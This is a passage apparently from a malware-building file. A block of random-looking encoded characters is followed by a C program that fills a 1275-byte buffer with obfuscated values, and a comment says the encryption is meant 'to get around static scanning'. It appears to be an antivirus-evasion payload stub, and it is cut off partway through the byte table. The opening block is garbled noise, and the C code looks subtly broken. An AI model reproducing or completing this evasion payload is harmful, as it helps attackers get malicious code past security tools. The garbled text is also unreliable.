zZg4+c>}D$NbTwVm)0gQV+|j=mJxNz)7dC=r2&JtvY!aCJ65WD;bhqx7TiU979f5n& zZoxfpW%&;Egv3T`7*08cZvx%*cMNn6^tZq%Gi^P6%?urqc1O<+oVWDo^*Jq)T-Vbw z*x4$_2X($R)XJ(U@=0#emtV_?{f##`60 z{*ucx4eK{;u3Nh{v!Z_4mP<10>Nc;c-?))V5vJ|crjZI(kDyB3(T0PXz*lX7Kz+B-#BFI2XYRuMvDogB!y3MB0 z#_qkNMK9kxI;3z&BK(_52{n1ZF}tQ>o_x#)QhRXAXS0zmH=>`p3pG@Z7K`x+8A+em z-O%s+e+OGaxyah`%!5d`n%8H;HZWZ)ZLBHX8 zMXzn`>u&7?8NX!45L=4oZJrHhKwLvC?SgPdtm52==*;D?+BcC>a;QU{ zVsOc5z{%3-c{?~`3+~pwY;j*o5m2rU-Xf#~L$qwG1A)3^fE7mEWo~&*)uEs0AMDZHL<1o5Q6!tfp;r;{ zBTYz4Eq*Ig8XRR%F-%m}lt$e)UizyHoxvWr6Ty*>bDd4?{UV&2Li>%Es%zePZU4Zv znJx}rgDo@Y=Alm9iwYxLNl#oTy#%% +#include + +// The encrypted code allows us to get around static scanning + +int size = 1275; +char *buf[1275]; + +int main() { + + memset(buf, 0, size); + buf[0] = '\x371'-641; + buf[1] = '\x288'-641; + buf[2] = '\x2dc'-641; + buf[3] = '\x2d7'-641; + buf[4] = '\x351'-641; + buf[5] = '\x31a'-641; + buf[6] = '\x373'-641; + buf[7] = '\x291'-641; + buf[8] = '\x28e'-641; + buf[9] = '\x326'-641; + buf[10] = '\x380'-641; + buf[11] = '\x2ad'-641; + buf[12] = '\x2fd'-641; + buf[13] = '\x290'-641; + buf[14] = '\x28a'-641; + buf[15] = '\x2a1'-641; + buf[16] = '\x305'-641; + buf[17] = '\x2ce'-641; + buf[18] = '\x2ad'-641; + buf[19] = '\x2bd'-641; + buf[20] = '\x2cc'-641; + buf[21] = '\x339'-641; + buf[22] = '\x322'-641; + buf[23] = '\x29e'-641; + buf[24] = '\x2ee'-641; + buf[25] = '\x28d'-641; + buf[26] = '\x28e'-641; + buf[27] = '\x28b'-641; + buf[28] = '\x281'-641; + buf[29] = '\x2eb'-641; + buf[30] = '\x2fb'-641; + buf[31] = '\x2c5'-641; + buf[32] = '\x2f9'-641; + buf[33] = '\x297'-641; + buf[34] = '\x282'-641; + buf[35] = '\x348'-641; + buf[36] = '\x2b6'-641; + buf[37] = '\x2ff'-641; + buf[38] = '\x30c'-641; + buf[39] = '\x331'-641; + buf[40] = '\x304'-641; + buf[41] = '\x350'-641; + buf[42] = '\x325'-641; + buf[43] = '\x36a'-641; + buf[44] = '\x291'-641; + buf[45] = '\x2ed'-641; + buf[46] = '\x2ba'-641; + buf[47] = '\x335'-641; + buf[48] = '\x2d2'-641; + buf[49] = '\x30b'-641; + buf[50] = '\x302'-641; + buf[51] = '\x33f'-641; + buf[52] = '\x330'-641; + buf[53] = '\x2b2'-641; + buf[54] = '\x2b7'-641; + buf[55] = '\x362'-641; + buf[56] = '\x32b'-641; + buf[57] = '\x356'-641; + buf[58] = '\x30c'-641; + buf[59] = '\x37e'-641; + buf[60] = '\x2a7'-641; + buf[61] = '\x297'-641; + buf[62] = '\x2cf'-641; + buf[63] = '\x2a1'-641; + buf[64] = '\x313'-641; + buf[65] = '\x336'-641; + buf[66] = '\x334'-641; + buf[67] = '\x347'-641; + buf[68] = '\x312'-641; + buf[69] = '\x337'-641; + buf[70] = '\x36a'-641; + buf[71] = '\x29d'-641; + buf[72] = '\x350'-641; + buf[73] = '\x2ea'-641; + buf[74] = '\x32e'-641; + buf[75] = '\x28d'-641; + buf[76] = '\x2b2'-641; + buf[77] = '\x317'-641; + buf[78] = '\x2f9'-641; + buf[79] = '\x2cc'-641; + buf[80] = '\x2cb'-641; + buf[81] = '\x2fc'-641; + buf[82] = '\x33b'-641; + buf[83] = '\x337'-641; + buf[84] = '\x2bf'-641; + buf[85] = '\x2eb'-641; + buf[86] = '\x288'-641; + buf[87] = '\x2ce'-641; + buf[88] = '\x379'-641; + buf[89] = '\x308'-641; + buf[90] = '\x2e8'-641; + buf[91] = '\x297'-641; + buf[92] = '\x36d'-641; + buf[93] = '\x366'-641; + buf[94] = '\x365'-641; + buf[95] = '\x351'-641; + buf[96] = '\x2da'-641; + buf[97] = '\x32e'-641; + buf[98] = '\x34b'-641; + buf[99] = '\x2e0'-641; + buf[100] = '\x2c9'-641; + buf[101] = '\x2a4'-641; + buf[102] = '\x326'-641; + buf[103] = '\x2ba'-641; + buf[104] = '\x310'-641; + buf[105] = '\x2bd'-641; + buf[106] = '\x2ac'-641; + buf[107] = '\x30f'-641; + buf[108] = '\x353'-641; + buf[109] = '\x32a'-641; + buf[110] = '\x297'-641; + buf[111] = '\x2e1'-641; + buf[112] = '\x36f'-641; + buf[113] = '\x2c4'-641; + buf[114] = '\x2a4'-641; + buf[115] = '\x31b'-641; + buf[116] = '\x341'-641; + buf[117] = '\x324'-641; + buf[118] = '\x367'-641; + buf[119] = '\x329'-641; + buf[120] = '\x2f3'-641; + buf[121] = '\x33d'-641; + buf[122] = '\x361'-641; + buf[123] = '\x2bd'-641; + buf[124] = '\x356'-641; + buf[125] = '\x325'-641; + buf[126] = '\x293'-641; + buf[127] = '\x32f'-641; + buf[128] = '\x373'-641; + buf[129] = '\x32e'-641; + buf[130] = '\x2cd'-641; + buf[131] = '\x314'-641; + buf[132] = '\x332'-641; + buf[133] = '\x306'-641; + buf[134] = '\x2e5'-641; + buf[135] = '\x290'-641; + buf[136] = '\x2b0'-641; + buf[137] = '\x285'-641; + buf[138] = '\x2f2'-641; + buf[139] = '\x2d5'-641; + buf[140] = '\x2a8'-641; + buf[141] = '\x2ea'-641; + buf[142] = '\x33c'-641; + buf[143] = '\x2b3'-641; + buf[144] = '\x375'-641; + buf[145] = '\x2a3'-641; + buf[146] = '\x316'-641; + buf[147] = '\x36f'-641; + buf[148] = '\x347'-641; + buf[149] = '\x2fd'-641; + buf[150] = '\x329'-641; + buf[151] = '\x322'-641; + buf[152] = '\x2c3'-641; + buf[153] = '\x2e9'-641; + buf[154] = '\x2e9'-641; + buf[155] = '\x324'-641; + buf[156] = '\x368'-641; + buf[157] = '\x33b'-641; + buf[158] = '\x287'-641; + buf[159] = '\x33b'-641; + buf[160] = '\x316'-641; + buf[161] = '\x313'-641; + buf[162] = '\x310'-641; + buf[163] = '\x319'-641; + buf[164] = '\x334'-641; + buf[165] = '\x2e7'-641; + buf[166] = '\x354'-641; + buf[167] = '\x347'-641; + buf[168] = '\x32b'-641; + buf[169] = '\x366'-641; + buf[170] = '\x327'-641; + buf[171] = '\x327'-641; + buf[172] = '\x315'-641; + buf[173] = '\x290'-641; + buf[174] = '\x37d'-641; + buf[175] = '\x291'-641; + buf[176] = '\x370'-641; + buf[177] = '\x2c7'-641; + buf[178] = '\x317'-641; + buf[179] = '\x2e5'-641; + buf[180] = '\x28b'-641; + buf[181] = '\x358'-641; + buf[182] = '\x296'-641; + buf[183] = '\x365'-641; + buf[184] = '\x2e1'-641; + buf[185] = '\x328'-641; + buf[186] = '\x28d'-641; + buf[187] = '\x2d0'-641; + buf[188] = '\x2e8'-641; + buf[189] = '\x2a5'-641; + buf[190] = '\x2b2'-641; + buf[191] = '\x311'-641; + buf[192] = '\x2ff'-641; + buf[193] = '\x2dd'-641; + buf[194] = '\x330'-641; + buf[195] = '\x292'-641; + buf[196] = '\x359'-641; + buf[197] = '\x348'-641; + buf[198] = '\x2de'-641; + buf[199] = '\x2e3'-641; + buf[200] = '\x351'-641; + buf[201] = '\x34d'-641; + buf[202] = '\x2ed'-641; + buf[203] = '\x2d2'-641; + buf[204] = '\x350'-641; + buf[205] = '\x36e'-641; + buf[206] = '\x300'-641; + buf[207] = '\x29b'-641; + buf[208] = '\x2cc'-641; + buf[209] = '\x292'-641; + buf[210] = '\x2fd'-641; + buf[211] = '\x2c0'-641; + buf[212] = '\x28d'-641; + buf[213] = '\x2ba'-641; + buf[214] = '\x317'-641; + buf[215] = '\x2b3'-641; + buf[216] = '\x2bf'-641; + buf[217] = '\x2fa'-641; + buf[218] = '\x291'-641; + buf[219] = '\x306'-641; + buf[220] = '\x338'-641; + buf[221] = '\x290'-641; + buf[222] = '\x338'-641; + buf[223] = '\x327'-641; + buf[224] = '\x372'-641; + buf[225] = '\x282'-641; + buf[226] = '\x351'-641; + buf[227] = '\x35b'-641; + buf[228] = '\x2e4'-641; + buf[229] = '\x284'-641; + buf[230] = '\x2f2'-641; + buf[231] = '\x2fe'-641; + buf[232] = '\x32c'-641; + buf[233] = '\x2e4'-641; + buf[234] = '\x2b7'-641; + buf[235] = '\x282'-641; + buf[236] = '\x285'-641; + buf[237] = '\x34b'-641; + buf[238] = '\x361'-641; + buf[239] = '\x370'-641; + buf[240] = '\x287'-641; + buf[241] = '\x2eb'-641; + buf[242] = '\x2e2'-641; + buf[243] = '\x29e'-641; + buf[244] = '\x30f'-641; + buf[245] = '\x2d3'-641; + buf[246] = '\x318'-641; + buf[247] = '\x356'-641; + buf[248] = '\x36c'-641; + buf[249] = '\x32e'-641; + buf[250] = '\x377'-641; + buf[251] = '\x360'-641; + buf[252] = '\x368'-641; + buf[253] = '\x2d7'-641; + buf[254] = '\x31d'-641; + buf[255] = '\x34a'-641; + buf[256] = '\x2ce'-641; + buf[257] = '\x2c8'-641; + buf[258] = '\x28a'-641; + buf[259] = '\x33a'-641; + buf[260] = '\x32d'-641; + buf[261] = '\x2bf'-641; + buf[262] = '\x362'-641; + buf[263] = '\x37f'-641; + buf[264] = '\x2e6'-641; + buf[265] = '\x298'-641; + buf[266] = '\x2eb'-641; + buf[267] = '\x379'-641; + buf[268] = '\x2c4'-641; + buf[269] = '\x295'-641; + buf[270] = '\x28c'-641; + buf[271] = '\x35c'-641; + buf[272] = '\x323'-641; + buf[273] = '\x2ac'-641; + buf[274] = '\x31b'-641; + buf[275] = '\x30f'-641; + buf[276] = '\x317'-641; + buf[277] = '\x32e'-641; + buf[278] = '\x2d1'-641; + buf[279] = '\x316'-641; + buf[280] = '\x28b'-641; + buf[281] = '\x2b8'-641; + buf[282] = '\x323'-641; + buf[283] = '\x341'-641; + buf[284] = '\x2d8'-641; + buf[285] = '\x28b'-641; + buf[286] = '\x2bf'-641; + buf[287] = '\x367'-641; + buf[288] = '\x363'-641; + buf[289] = '\x2e5'-641; + buf[290] = '\x339'-641; + buf[291] = '\x29e'-641; + buf[292] = '\x34a'-641; + buf[293] = '\x28d'-641; + buf[294] = '\x289'-641; + buf[295] = '\x31f'-641; + buf[296] = '\x32e'-641; + buf[297] = '\x355'-641; + buf[298] = '\x2eb'-641; + buf[299] = '\x2cf'-641; + buf[300] = '\x2c2'-641; + buf[301] = '\x2e8'-641; + buf[302] = '\x28a'-641; + buf[303] = '\x286'-641; + buf[304] = '\x306'-641; + buf[305] = '\x377'-641; + buf[306] = '\x30b'-641; + buf[307] = '\x2c7'-641; + buf[308] = '\x300'-641; + buf[309] = '\x2ab'-641; + buf[310] = '\x349'-641; + buf[311] = '\x2f4'-641; + buf[312] = '\x371'-641; + buf[313] = '\x30a'-641; + buf[314] = '\x2c1'-641; + buf[315] = '\x318'-641; + buf[316] = '\x323'-641; + buf[317] = '\x35e'-641; + buf[318] = '\x2f5'-641; + buf[319] = '\x2a1'-641; + buf[320] = '\x282'-641; + buf[321] = '\x2a9'-641; + buf[322] = '\x2e4'-641; + buf[323] = '\x321'-641; + buf[324] = '\x320'-641; + buf[325] = '\x30b'-641; + buf[326] = '\x2d2'-641; + buf[327] = '\x2a2'-641; + buf[328] = '\x2e8'-641; + buf[329] = '\x380'-641; + buf[330] = '\x2ba'-641; + buf[331] = '\x2b1'-641; + buf[332] = '\x28e'-641; + buf[333] = '\x302'-641; + buf[334] = '\x29b'-641; + buf[335] = '\x2a5'-641; + buf[336] = '\x2f0'-641; + buf[337] = '\x312'-641; + buf[338] = '\x2b8'-641; + buf[339] = '\x334'-641; + buf[340] = '\x28b'-641; + buf[341] = '\x32f'-641; + buf[342] = '\x2a8'-641; + buf[343] = '\x2ba'-641; + buf[344] = '\x37f'-641; + buf[345] = '\x362'-641; + buf[346] = '\x2e9'-641; + buf[347] = '\x344'-641; + buf[348] = '\x324'-641; + buf[349] = '\x2d8'-641; + buf[350] = '\x29d'-641; + buf[351] = '\x2db'-641; + buf[352] = '\x368'-641; + buf[353] = '\x281'-641; + buf[354] = '\x2cf'-641; + buf[355] = '\x36b'-641; + buf[356] = '\x2dd'-641; + buf[357] = '\x34b'-641; + buf[358] = '\x36b'-641; + buf[359] = '\x2ba'-641; + buf[360] = '\x341'-641; + buf[361] = '\x32e'-641; + buf[362] = '\x28c'-641; + buf[363] = '\x37e'-641; + buf[364] = '\x31c'-641; + buf[365] = '\x296'-641; + buf[366] = '\x34d'-641; + buf[367] = '\x328'-641; + buf[368] = '\x379'-641; + buf[369] = '\x30c'-641; + buf[370] = '\x31b'-641; + buf[371] = '\x361'-641; + buf[372] = '\x2b3'-641; + buf[373] = '\x2b0'-641; + buf[374] = '\x314'-641; + buf[375] = '\x2cb'-641; + buf[376] = '\x2bf'-641; + buf[377] = '\x334'-641; + buf[378] = '\x362'-641; + buf[379] = '\x340'-641; + buf[380] = '\x2bd'-641; + buf[381] = '\x33d'-641; + buf[382] = '\x34d'-641; + buf[383] = '\x331'-641; + buf[384] = '\x353'-641; + buf[385] = '\x28a'-641; + buf[386] = '\x2a8'-641; + buf[387] = '\x35b'-641; + buf[388] = '\x2f5'-641; + buf[389] = '\x375'-641; + buf[390] = '\x35d'-641; + buf[391] = '\x293'-641; + buf[392] = '\x31a'-641; + buf[393] = '\x2ff'-641; + buf[394] = '\x359'-641; + buf[395] = '\x2b1'-641; + buf[396] = '\x308'-641; + buf[397] = '\x2f5'-641; + buf[398] = '\x2a6'-641; + buf[399] = '\x292'-641; + buf[400] = '\x333'-641; + buf[401] = '\x2fa'-641; + buf[402] = '\x2dd'-641; + buf[403] = '\x294'-641; + buf[404] = '\x2a4'-641; + buf[405] = '\x291'-641; + buf[406] = '\x2e6'-641; + buf[407] = '\x320'-641; + buf[408] = '\x313'-641; + buf[409] = '\x287'-641; + buf[410] = '\x343'-641; + buf[411] = '\x2cd'-641; + buf[412] = '\x28b'-641; + buf[413] = '\x2be'-641; + buf[414] = '\x2e8'-641; + buf[415] = '\x373'-641; + buf[416] = '\x29f'-641; + buf[417] = '\x2d2'-641; + buf[418] = '\x32e'-641; + buf[419] = '\x358'-641; + buf[420] = '\x370'-641; + buf[421] = '\x2b4'-641; + buf[422] = '\x329'-641; + buf[423] = '\x2be'-641; + buf[424] = '\x2aa'-641; + buf[425] = '\x342'-641; + buf[426] = '\x372'-641; + buf[427] = '\x315'-641; + buf[428] = '\x370'-641; + buf[429] = '\x2b1'-641; + buf[430] = '\x321'-641; + buf[431] = '\x301'-641; + buf[432] = '\x31d'-641; + buf[433] = '\x317'-641; + buf[434] = '\x331'-641; + buf[435] = '\x334'-641; + buf[436] = '\x2c5'-641; + buf[437] = '\x342'-641; + buf[438] = '\x376'-641; + buf[439] = '\x2ab'-641; + buf[440] = '\x2e9'-641; + buf[441] = '\x34b'-641; + buf[442] = '\x316'-641; + buf[443] = '\x333'-641; + buf[444] = '\x334'-641; + buf[445] = '\x2be'-641; + buf[446] = '\x345'-641; + buf[447] = '\x32f'-641; + buf[448] = '\x335'-641; + buf[449] = '\x340'-641; + buf[450] = '\x2c7'-641; + buf[451] = '\x293'-641; + buf[452] = '\x300'-641; + buf[453] = '\x33e'-641; + buf[454] = '\x308'-641; + buf[455] = '\x36a'-641; + buf[456] = '\x284'-641; + buf[457] = '\x375'-641; + buf[458] = '\x2f6'-641; + buf[459] = '\x2fb'-641; + buf[460] = '\x2bd'-641; + buf[461] = '\x2a6'-641; + buf[462] = '\x35f'-641; + buf[463] = '\x2c7'-641; + buf[464] = '\x35b'-641; + buf[465] = '\x29f'-641; + buf[466] = '\x28b'-641; + buf[467] = '\x305'-641; + buf[468] = '\x36a'-641; + buf[469] = '\x31f'-641; + buf[470] = '\x33d'-641; + buf[471] = '\x29e'-641; + buf[472] = '\x326'-641; + buf[473] = '\x359'-641; + buf[474] = '\x2b3'-641; + buf[475] = '\x2fd'-641; + buf[476] = '\x354'-641; + buf[477] = '\x2fe'-641; + buf[478] = '\x2c7'-641; + buf[479] = '\x2f7'-641; + buf[480] = '\x2bf'-641; + buf[481] = '\x36c'-641; + buf[482] = '\x289'-641; + buf[483] = '\x375'-641; + buf[484] = '\x2d1'-641; + buf[485] = '\x312'-641; + buf[486] = '\x2d1'-641; + buf[487] = '\x358'-641; + buf[488] = '\x338'-641; + buf[489] = '\x2a9'-641; + buf[490] = '\x281'-641; + buf[491] = '\x2c7'-641; + buf[492] = '\x294'-641; + buf[493] = '\x29f'-641; + buf[494] = '\x2b0'-641; + buf[495] = '\x364'-641; + buf[496] = '\x2d6'-641; + buf[497] = '\x2cb'-641; + buf[498] = '\x355'-641; + buf[499] = '\x2f2'-641; + buf[500] = '\x2ea'-641; + buf[501] = '\x37c'-641; + buf[502] = '\x318'-641; + buf[503] = '\x311'-641; + buf[504] = '\x33a'-641; + buf[505] = '\x35d'-641; + buf[506] = '\x340'-641; + buf[507] = '\x285'-641; + buf[508] = '\x376'-641; + buf[509] = '\x2a5'-641; + buf[510] = '\x310'-641; + buf[511] = '\x35f'-641; + buf[512] = '\x359'-641; + buf[513] = '\x2d7'-641; + buf[514] = '\x2d7'-641; + buf[515] = '\x367'-641; + buf[516] = '\x31b'-641; + buf[517] = '\x308'-641; + buf[518] = '\x33b'-641; + buf[519] = '\x2bf'-641; + buf[520] = '\x303'-641; + buf[521] = '\x363'-641; + buf[522] = '\x368'-641; + buf[523] = '\x2af'-641; + buf[524] = '\x337'-641; + buf[525] = '\x28f'-641; + buf[526] = '\x30d'-641; + buf[527] = '\x281'-641; + buf[528] = '\x329'-641; + buf[529] = '\x2a3'-641; + buf[530] = '\x362'-641; + buf[531] = '\x2f8'-641; + buf[532] = '\x371'-641; + buf[533] = '\x365'-641; + buf[534] = '\x2bc'-641; + buf[535] = '\x35f'-641; + buf[536] = '\x33c'-641; + buf[537] = '\x311'-641; + buf[538] = '\x2d4'-641; + buf[539] = '\x2bf'-641; + buf[540] = '\x303'-641; + buf[541] = '\x2b3'-641; + buf[542] = '\x352'-641; + buf[543] = '\x2d8'-641; + buf[544] = '\x32b'-641; + buf[545] = '\x317'-641; + buf[546] = '\x2c6'-641; + buf[547] = '\x30c'-641; + buf[548] = '\x304'-641; + buf[549] = '\x315'-641; + buf[550] = '\x288'-641; + buf[551] = '\x2af'-641; + buf[552] = '\x379'-641; + buf[553] = '\x34d'-641; + buf[554] = '\x301'-641; + buf[555] = '\x362'-641; + buf[556] = '\x2be'-641; + buf[557] = '\x2cd'-641; + buf[558] = '\x373'-641; + buf[559] = '\x283'-641; + buf[560] = '\x2a6'-641; + buf[561] = '\x33e'-641; + buf[562] = '\x30c'-641; + buf[563] = '\x380'-641; + buf[564] = '\x30b'-641; + buf[565] = '\x329'-641; + buf[566] = '\x284'-641; + buf[567] = '\x2d4'-641; + buf[568] = '\x2a4'-641; + buf[569] = '\x31e'-641; + buf[570] = '\x37a'-641; + buf[571] = '\x324'-641; + buf[572] = '\x374'-641; + buf[573] = '\x369'-641; + buf[574] = '\x304'-641; + buf[575] = '\x2c9'-641; + buf[576] = '\x281'-641; + buf[577] = '\x2da'-641; + buf[578] = '\x2b5'-641; + buf[579] = '\x37f'-641; + buf[580] = '\x331'-641; + buf[581] = '\x288'-641; + buf[582] = '\x358'-641; + buf[583] = '\x342'-641; + buf[584] = '\x284'-641; + buf[585] = '\x374'-641; + buf[586] = '\x2ba'-641; + buf[587] = '\x2e7'-641; + buf[588] = '\x2b8'-641; + buf[589] = '\x2ff'-641; + buf[590] = '\x2ad'-641; + buf[591] = '\x2f0'-641; + buf[592] = '\x2c3'-641; + buf[593] = '\x2af'-641; + buf[594] = '\x282'-641; + buf[595] = '\x2ac'-641; + buf[596] = '\x2d8'-641; + buf[597] = '\x2dd'-641; + buf[598] = '\x316'-641; + buf[599] = '\x2f7'-641; + buf[600] = '\x2f9'-641; + buf[601] = '\x283'-641; + buf[602] = '\x314'-641; + buf[603] = '\x29c'-641; + buf[604] = '\x2b3'-641; + buf[605] = '\x2d7'-641; + buf[606] = '\x28d'-641; + buf[607] = '\x37f'-641; + buf[608] = '\x2f3'-641; + buf[609] = '\x2d0'-641; + buf[610] = '\x2b9'-641; + buf[611] = '\x36a'-641; + buf[612] = '\x2e6'-641; + buf[613] = '\x2d4'-641; + buf[614] = '\x321'-641; + buf[615] = '\x31f'-641; + buf[616] = '\x352'-641; + buf[617] = '\x319'-641; + buf[618] = '\x332'-641; + buf[619] = '\x2aa'-641; + buf[620] = '\x367'-641; + buf[621] = '\x29a'-641; + buf[622] = '\x31a'-641; + buf[623] = '\x2b5'-641; + buf[624] = '\x2a8'-641; + buf[625] = '\x2c0'-641; + buf[626] = '\x369'-641; + buf[627] = '\x2e0'-641; + buf[628] = '\x356'-641; + buf[629] = '\x37b'-641; + buf[630] = '\x339'-641; + buf[631] = '\x353'-641; + buf[632] = '\x2c8'-641; + buf[633] = '\x343'-641; + buf[634] = '\x2f2'-641; + buf[635] = '\x2e2'-641; + buf[636] = '\x321'-641; + buf[637] = '\x2f9'-641; + buf[638] = '\x325'-641; + buf[639] = '\x375'-641; + buf[640] = '\x2ea'-641; + buf[641] = '\x2e5'-641; + buf[642] = '\x2a4'-641; + buf[643] = '\x33b'-641; + buf[644] = '\x2b1'-641; + buf[645] = '\x2bc'-641; + buf[646] = '\x2b1'-641; + buf[647] = '\x2b5'-641; + buf[648] = '\x285'-641; + buf[649] = '\x347'-641; + buf[650] = '\x2a4'-641; + buf[651] = '\x29a'-641; + buf[652] = '\x333'-641; + buf[653] = '\x2bb'-641; + buf[654] = '\x334'-641; + buf[655] = '\x36e'-641; + buf[656] = '\x2cb'-641; + buf[657] = '\x356'-641; + buf[658] = '\x324'-641; + buf[659] = '\x35c'-641; + buf[660] = '\x32f'-641; + buf[661] = '\x380'-641; + buf[662] = '\x35e'-641; + buf[663] = '\x310'-641; + buf[664] = '\x2f4'-641; + buf[665] = '\x358'-641; + buf[666] = '\x2f9'-641; + buf[667] = '\x2b2'-641; + buf[668] = '\x2b3'-641; + buf[669] = '\x288'-641; + buf[670] = '\x321'-641; + buf[671] = '\x2b3'-641; + buf[672] = '\x35a'-641; + buf[673] = '\x291'-641; + buf[674] = '\x35b'-641; + buf[675] = '\x2b9'-641; + buf[676] = '\x338'-641; + buf[677] = '\x2b0'-641; + buf[678] = '\x2d6'-641; + buf[679] = '\x300'-641; + buf[680] = '\x336'-641; + buf[681] = '\x2b6'-641; + buf[682] = '\x34a'-641; + buf[683] = '\x2f1'-641; + buf[684] = '\x310'-641; + buf[685] = '\x2ee'-641; + buf[686] = '\x376'-641; + buf[687] = '\x2cc'-641; + buf[688] = '\x296'-641; + buf[689] = '\x30b'-641; + buf[690] = '\x29a'-641; + buf[691] = '\x292'-641; + buf[692] = '\x2d4'-641; + buf[693] = '\x2a3'-641; + buf[694] = '\x2bb'-641; + buf[695] = '\x2eb'-641; + buf[696] = '\x300'-641; + buf[697] = '\x2e2'-641; + buf[698] = '\x2a7'-641; + buf[699] = '\x2aa'-641; + buf[700] = '\x2f3'-641; + buf[701] = '\x353'-641; + buf[702] = '\x2ce'-641; + buf[703] = '\x2d3'-641; + buf[704] = '\x313'-641; + buf[705] = '\x2b2'-641; + buf[706] = '\x303'-641; + buf[707] = '\x2c5'-641; + buf[708] = '\x359'-641; + buf[709] = '\x2d7'-641; + buf[710] = '\x30f'-641; + buf[711] = '\x31e'-641; + buf[712] = '\x285'-641; + buf[713] = '\x353'-641; + buf[714] = '\x2f4'-641; + buf[715] = '\x35f'-641; + buf[716] = '\x2fa'-641; + buf[717] = '\x297'-641; + buf[718] = '\x32c'-641; + buf[719] = '\x372'-641; + buf[720] = '\x346'-641; + buf[721] = '\x2e2'-641; + buf[722] = '\x325'-641; + buf[723] = '\x2c0'-641; + buf[724] = '\x35a'-641; + buf[725] = '\x2a7'-641; + buf[726] = '\x36f'-641; + buf[727] = '\x364'-641; + buf[728] = '\x33d'-641; + buf[729] = '\x2b9'-641; + buf[730] = '\x2a5'-641; + buf[731] = '\x336'-641; + buf[732] = '\x31d'-641; + buf[733] = '\x310'-641; + buf[734] = '\x2ec'-641; + buf[735] = '\x30f'-641; + buf[736] = '\x29e'-641; + buf[737] = '\x303'-641; + buf[738] = '\x347'-641; + buf[739] = '\x2ca'-641; + buf[740] = '\x291'-641; + buf[741] = '\x324'-641; + buf[742] = '\x318'-641; + buf[743] = '\x2fd'-641; + buf[744] = '\x2bc'-641; + buf[745] = '\x2f3'-641; + buf[746] = '\x2da'-641; + buf[747] = '\x30b'-641; + buf[748] = '\x33c'-641; + buf[749] = '\x315'-641; + buf[750] = '\x368'-641; + buf[751] = '\x2ec'-641; + buf[752] = '\x37b'-641; + buf[753] = '\x32e'-641; + buf[754] = '\x2bb'-641; + buf[755] = '\x312'-641; + buf[756] = '\x2b9'-641; + buf[757] = '\x312'-641; + buf[758] = '\x2e7'-641; + buf[759] = '\x2ff'-641; + buf[760] = '\x2f9'-641; + buf[761] = '\x30d'-641; + buf[762] = '\x2ea'-641; + buf[763] = '\x33a'-641; + buf[764] = '\x2ea'-641; + buf[765] = '\x2db'-641; + buf[766] = '\x2a1'-641; + buf[767] = '\x329'-641; + buf[768] = '\x34b'-641; + buf[769] = '\x334'-641; + buf[770] = '\x33a'-641; + buf[771] = '\x2b1'-641; + buf[772] = '\x33d'-641; + buf[773] = '\x368'-641; + buf[774] = '\x348'-641; + buf[775] = '\x2e4'-641; + buf[776] = '\x298'-641; + buf[777] = '\x337'-641; + buf[778] = '\x333'-641; + buf[779] = '\x317'-641; + buf[780] = '\x368'-641; + buf[781] = '\x374'-641; + buf[782] = '\x2df'-641; + buf[783] = '\x35f'-641; + buf[784] = '\x335'-641; + buf[785] = '\x333'-641; + buf[786] = '\x371'-641; + buf[787] = '\x31e'-641; + buf[788] = '\x2eb'-641; + buf[789] = '\x2df'-641; + buf[790] = '\x2b3'-641; + buf[791] = '\x2c9'-641; + buf[792] = '\x2a9'-641; + buf[793] = '\x331'-641; + buf[794] = '\x35f'-641; + buf[795] = '\x312'-641; + buf[796] = '\x2c7'-641; + buf[797] = '\x31a'-641; + buf[798] = '\x285'-641; + buf[799] = '\x2f5'-641; + buf[800] = '\x2de'-641; + buf[801] = '\x313'-641; + buf[802] = '\x371'-641; + buf[803] = '\x286'-641; + buf[804] = '\x334'-641; + buf[805] = '\x315'-641; + buf[806] = '\x297'-641; + buf[807] = '\x2bf'-641; + buf[808] = '\x2a8'-641; + buf[809] = '\x292'-641; + buf[810] = '\x376'-641; + buf[811] = '\x2ad'-641; + buf[812] = '\x34c'-641; + buf[813] = '\x2c7'-641; + buf[814] = '\x325'-641; + buf[815] = '\x365'-641; + buf[816] = '\x37b'-641; + buf[817] = '\x36d'-641; + buf[818] = '\x34f'-641; + buf[819] = '\x329'-641; + buf[820] = '\x2e5'-641; + buf[821] = '\x284'-641; + buf[822] = '\x2ad'-641; + buf[823] = '\x31d'-641; + buf[824] = '\x365'-641; + buf[825] = '\x2b1'-641; + buf[826] = '\x301'-641; + buf[827] = '\x376'-641; + buf[828] = '\x32e'-641; + buf[829] = '\x30c'-641; + buf[830] = '\x36d'-641; + buf[831] = '\x365'-641; + buf[832] = '\x33b'-641; + buf[833] = '\x281'-641; + buf[834] = '\x2bb'-641; + buf[835] = '\x368'-641; + buf[836] = '\x2a6'-641; + buf[837] = '\x2a1'-641; + buf[838] = '\x358'-641; + buf[839] = '\x366'-641; + buf[840] = '\x291'-641; + buf[841] = '\x2ad'-641; + buf[842] = '\x31d'-641; + buf[843] = '\x2cc'-641; + buf[844] = '\x30a'-641; + buf[845] = '\x35a'-641; + buf[846] = '\x2b4'-641; + buf[847] = '\x310'-641; + buf[848] = '\x2cc'-641; + buf[849] = '\x377'-641; + buf[850] = '\x283'-641; + buf[851] = '\x368'-641; + buf[852] = '\x2b5'-641; + buf[853] = '\x293'-641; + buf[854] = '\x365'-641; + buf[855] = '\x323'-641; + buf[856] = '\x2e1'-641; + buf[857] = '\x31b'-641; + buf[858] = '\x2d7'-641; + buf[859] = '\x32f'-641; + buf[860] = '\x2d2'-641; + buf[861] = '\x308'-641; + buf[862] = '\x30b'-641; + buf[863] = '\x287'-641; + buf[864] = '\x2a7'-641; + buf[865] = '\x377'-641; + buf[866] = '\x33e'-641; + buf[867] = '\x361'-641; + buf[868] = '\x2cd'-641; + buf[869] = '\x339'-641; + buf[870] = '\x379'-641; + buf[871] = '\x33b'-641; + buf[872] = '\x30a'-641; + buf[873] = '\x31b'-641; + buf[874] = '\x331'-641; + buf[875] = '\x286'-641; + buf[876] = '\x2fc'-641; + buf[877] = '\x373'-641; + buf[878] = '\x30f'-641; + buf[879] = '\x317'-641; + buf[880] = '\x327'-641; + buf[881] = '\x33b'-641; + buf[882] = '\x28a'-641; + buf[883] = '\x325'-641; + buf[884] = '\x34b'-641; + buf[885] = '\x330'-641; + buf[886] = '\x369'-641; + buf[887] = '\x2ac'-641; + buf[888] = '\x2dc'-641; + buf[889] = '\x2df'-641; + buf[890] = '\x321'-641; + buf[891] = '\x300'-641; + buf[892] = '\x32f'-641; + buf[893] = '\x303'-641; + buf[894] = '\x2be'-641; + buf[895] = '\x32e'-641; + buf[896] = '\x338'-641; + buf[897] = '\x33a'-641; + buf[898] = '\x328'-641; + buf[899] = '\x371'-641; + buf[900] = '\x2ac'-641; + 